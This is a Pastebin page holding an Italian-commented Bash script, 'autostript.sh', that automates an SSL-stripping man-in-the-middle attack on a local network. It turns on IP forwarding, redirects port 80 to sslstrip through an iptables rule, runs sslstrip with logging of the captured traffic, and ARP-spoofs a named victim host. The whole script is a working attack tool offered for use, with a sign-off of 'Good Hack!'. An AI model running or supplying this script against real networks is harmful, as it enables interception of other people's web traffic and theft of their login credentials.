Advertisement
under_r00t

autostript.sh

Jan 19th, 2013
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.65 KB | None | 0 0
  1. #!/bin/bash
  2. #Autostrip
  3. #Automazione SslStrip+arpspoof
  4. #
  5.  
  6.  
  7. DPORT="80" ; #Porta che voglio reindirizzare verso la TPORT
  8. TPORT="1000" ; #Porta usata da SSLStrip, cambiala se vuoi o se occupata da altro!
  9. IPF=/proc/sys/net/ipv4/ip_forward ;
  10. MINPAR="3";
  11.  
  12. # FUNZIONE DI AIUTO
  13. fun_help () {
  14.     echo
  15.     echo
  16.     echo  "[-]Autostrip automatizza le operazioni comuni per lo sniffing"
  17.     echo  "[-]Reindirizza la porta 80 sulla porta 1000 di SSLStrip"
  18.     echo  "[-]Puoi modificare la \"to-port\" 1000, cambiando il valore di \"\$TPORT\""
  19.     echo  "[-]Devi avere installato sslstrip e arpspoof,"
  20.     echo  "[-]Esegui\"apt-get install sslstrip arpspoof\" in caso contrario"
  21.     echo  "[-]Utilizzo: ./autostrip.sh ip_gateway ip_vittima interfaccia"
  22.     echo  "[-]Inserisci i parametri nell'ordine esatto indicato."
  23.     echo  "[*]Esempio: ./autostrip.sh 192.168.0.1 192.168.0.100 wlan0"
  24.     echo  "[***]Usa la testa e Good Hack!"
  25.    
  26.     exit
  27.     }
  28. # FINE HELP
  29.  
  30. # CONTROLLO: UID, PARAMETRI, PROG. NECESSARI, IP_FORWARD
  31.     if [ $UID != "0" ]
  32.         then       
  33.             echo "Non hai i permessi necessari per eseguire lo script! need to be root!" && fun_help
  34.     fi
  35.        
  36.         which sslstrip > /dev/null || echo "sslstrip non Γ¨ presente" exit ;
  37.         which arpspoof > /dev/null || echo "arpspoof non Γ¨ presente" exit ;      
  38.  
  39.  
  40.     if [ `cat $IPF` = "0" ]
  41.         then   
  42.             echo "attivo ip_forward che non lo era" && echo 1 > $IPF ;
  43.         else
  44.             echo "ip_forward giΓ  attivo"
  45.     fi
  46.  
  47.  
  48.     if [ $# -lt "$MINPAR" ] #non controllo che gli indirizzi siano giusti, che si fotta!
  49.         then   
  50.             echo "lo script necessitΓ  di $MINPAR parametri" && fun_help
  51.         else   
  52.             echo "Tutti i controlli superati con successo!!"
  53.     fi
  54. # FINE DEI CONTROLLI
  55.  
  56. echo
  57.  
  58. # PREPARO IPTABLES
  59. iptables -t nat -A PREROUTING -p tcp --destination-port $DPORT -j REDIRECT --to-port $TPORT
  60.     if [ $? -ne 0 ]
  61.         then
  62.             echo "impossibile scrivere le iptables" && fun_help
  63.         else
  64.             echo "iptables scritte con successo!"
  65.     fi
  66. # FINE IPTABLES
  67.  
  68. echo
  69.  
  70. # RIEPILOGO
  71. echo "[*]IP Gateway:$1"
  72. echo "[*]IP Vittima:$2"
  73. echo "[*]Interfaccia:$3"
  74.  
  75. echo -n "Premi si per continuare, n per abortire:[si] "
  76.     read TASTO
  77.     case $TASTO in         
  78.         n)echo "esco!" && exit ;;
  79.         s)echo  ;;  
  80.         *)echo  ;;
  81.     esac
  82.  
  83. echo "continuo!"
  84. # FINE RIEPILOGO
  85.  
  86. echo
  87.  
  88. # AVVIO SSLStrip
  89. ( xfce4-terminal -e "sslstrip -l $TPORT -w log_ssl3 -p -a" ) &
  90.     if [ $? -ne 0 ]
  91.         then
  92.             echo "sslstrip ha fallito" && fun_help
  93.         else
  94.             echo "sslstrip avviato con successo! $PID"
  95.     fi
  96. ##
  97. echo
  98. sleep 5
  99. #AVVIO ARPSPOOF
  100. ( xfce4-terminal -e  "arpspoof -i $3 -t $2 $1" ) &
  101.     if [ $? -ne 0 ]
  102.         then
  103.             echo "arpspoof ha fallito" && fun_help
  104.         else
  105.             echo "arpspoof avviato con successo! $PID"
  106.     fi
  107. ##
  108.  
  109. echo
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement